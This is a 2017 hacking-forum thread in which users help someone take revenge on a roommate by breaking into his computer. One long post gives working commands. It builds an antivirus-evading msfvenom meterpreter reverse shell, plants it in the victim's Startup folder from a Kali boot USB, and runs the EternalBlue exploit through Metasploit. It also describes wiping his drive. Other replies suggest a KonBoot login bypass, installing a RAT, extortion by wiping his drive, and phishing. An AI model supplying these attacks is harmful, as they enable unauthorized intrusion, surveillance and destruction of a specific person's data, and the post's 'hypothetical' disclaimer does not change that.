* - Rafaelinio - Jun 5, 2017
If you want to get into the computer without knowing the password have a look at Kon Boot. If you need any help setting it up or anything PM me
* - Nomad.Null - Jun 5, 2017
Well...as much as I'd like to dip out of this thread, I am somewhat sympathetic to your problem and your roommate's douchebag ways. Were I of a more malicious mindset, this is what I may try...
1: Get a Linux ISO and load it onto a bootable USB. Kali, KonBoot, or ParrotOS are all perfectly viable options... Kali Bootable USB Guide
2: Boot up kali disk on your system and prepare your attack
Option 1: Prepare a binary payload and run it on his system
Enter terminal
Code sudo msfvenom -p windows/meterpreter/reverse_https LHOST=<your_IP_Address> LPORT=443 -e x86/shikata_ga_nai -i 3 -f exe > your-payload.exe
Restart his computer and plug in both flash drives.
Boot from your bootable kali disk
His hard drives and your flash drive should mount to the disk automatically.
If it does not mount (you cannot see his hard drives in the linux system) enter the following commands
<This command will spit out the hard disk information. Look for the hard disk with an NTFS formatted partition and labeled "OS" or similar. It will be several gigabytes in size. The it will take the name of "/dev/sda1" or similar. This is the "device_id". sd=storage disk, a-z=disk letter, 1-99=partition>
Code mount -t ntfs /dev/<device_id> /media/douchbags_computer
You may need to do this for your flashdrive too.
Once his disk is mounted, you can copy your payload to his system. I recommend copying it to his logon startup folder. It will run the payload as soon as he logs in for the first time. If you followed the instructions above, the payload should be encoded such that antivirus will not pick it up. Alternatively, use a RAT, although I detest the use of RATs...
If you don't know how to copy files in linux, I suggest you learn... Read the Linux Command Line Guide.
Navigate his filesystem and locate his user path. In windows, it looks like C:\Users\<his_name>\ but on Linux it will appear like /media/douchbags_computer/C/Users/<his_name>
Navigate further into the AppData folder to find his startup items.
On Windows
C:\Users\<his_name>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
On Linux
/media/douchbags_computer/C/Users/<his_name>/AppData/Roaming/Microsoft/Windows/Start\ Menu/Programs/Startup
Copy your exe payload from your flashdrive into this location. If done correctly, his computer will run this payload as soon as he boots up and logs in every time until it is removed or caught by AV.
Shutdown the system safely.
Return to your computer with both flash drives.
Plug in your bootable linux disk to your system and boot up into Kali.
Start Terminal
Code sudo service postgresql start
sudo service msfdb init (NOTE: only do this the first time you start metasploit)
sudo service msfd init
sudo msfupdate (NOTE: Get some coffee, this will take a few minutes...)
sudo msfconsole
This will start the Metasploit console. I suggest reading a book on this if you aren't familiar. This is a crash course just to get your payload working...
use /exploit/multi/handler (this handles your payload)
set payload windows/meterpreter/reverse_https (this is the payload you used when you crafted it)
set LHOST <your_ip> (I would advise setting your Kali system to a static IP address if you want the payload to always work every time.)
set LPORT 443
set stageencoding true
set encoder x86/shikata_ga_nai
set ExitOnSession false (this will keep the payload running even after you get shell)
You're ready....
exploit -j (-j runs the exploit as a job, so that the handler never stops running and will always catch your shell)
[/code]
Wait until he logs in... You should see the following text in the metasploit console when he does...
Code Sending Stager (###### bytes)
Meterpreter Sesssion 1 Opened
You now have access to his system. Type the following
Your shell should change to this:
Congratulations, you popped your first shell. Learn how to ruin his day by learning how metasploit works to proceed further.
Option 2: Exploit his system using metasploit
Follow my instructions above on how to create a bootable Kali disk.
Plug in your bootable linux disk to your system and boot up into Kali.
Start Terminal
Code sudo service postgresql start
sudo service msfdb init (NOTE: only do this the first time you start metasploit)
sudo service msfd init
sudo msfupdate (NOTE: Get some coffee, this will take a few minutes...)
sudo msfconsole
This will start the Metasploit console. I suggest reading a book on this if you aren't familiar. This is a crash course just to get your payload working...
His system, if it has not been updated recently, may be vulnerable to an exploit known as "Eternal Blue." This is the vulnerability which was exploited by the WannaCry ransomware over the last few weeks and is still a VERY serious problem. If this guy is an idiot who doesn't take care of his computer, his will be vulnerable. Here is how to exploit it...
use exploit/windows/smb/ms17_010_eternal_blue (Note: Just in case I typoed the path...you can search this by typing "search ms17" and type the correct path as it appears on screen)
set payload windows/meterpreter/reverse_https
set RHOST <his_ip_address>
set RPORT 445
set LHOST <your_ip_address>
set LPORT <1-65535 is fine, but I recommend the default 443>
set stageencoding true
set ExitOnSession false
You're ready...
exploit -j
[/code]
Code Sending Stager (###### bytes)
Meterpreter Sesssion 1 Opened
You now have access to his system. Type the following
Your shell should change to this:
Congratulations, you popped your first shell. Learn how to ruin his day by learning how metasploit works to proceed further.
Option 3: Wreck his drive...
Follow the steps outlined in Option 1 up until the point where I tell you to navigate to his hard drive...
When you are in his hard drive (Your path should be /media/douchebags_computer/C/)
This will make sure you're in his C drive....and...
This will delete EVERYTHING...PERMANENTLY! 🤭
This is entirely a hypothetical scenario. I do not recommend neither condone malicious tampering of another person's property regardless of how much of an asshole they are... To follow these instructions on a system which you do not own is to do so at your own peril. You are solely responsible for your own actions and the consequences (jail time) that will surely follow if you are caught. Likewise...conspiring to commit unauthorized access, tampering, and erasure of someone else's data is a federal crime, so... this entire thread is evidence against you should you carry the act out.
Tread carefully...Big Brother is watching you. 🤝
* - Noobface80 - Jun 10, 2017
Considering you're new to this stuff, heres some beginner tips to get cha started:
1 log onto home router using ip address and block him..
2. Replace all/most desktops shortcuts with shutdown.exe, log off.exe or restart.exe (disguise 2 look like regular apps)
3. Reset his password using a boot disk and make it something unguessable.
4. Clone his hard drive, wipe his original, and tell him if he wants his stuff back, blah, blah.
5. Disable his hd in bios
6. Use a bios password
7. Ctrl + alt + arrow key (any direction) (while in windows)
8. Homoerotic desktop
Lastly
9. Talk to him (this is my most recommended because doing everything else may start a war which ends up hurting u in the future. ) anyway, whatever you decide to do, goodluck!!
* - ProgressiveX - Jun 10, 2017
phising xD best way to get revenge :D
* - ɡringo - Jun 10, 2017
(May 25, 2017 09:53 PM)EasyGhost Wrote: Not suggesting anything illegal, but...if you could manage to change the wifi password, that would be evil and hilarious, but don't do anything illegal of course.
I'd just block his MAC addresss from accessing the internet through the router lmao, that way he doesn't suspect shit.
* - Tyler Durden. - Jun 10, 2017
The easiest thing to do, would be using KonBoot to bypass the login on Windows, and then subsequently installing a RAT.
|
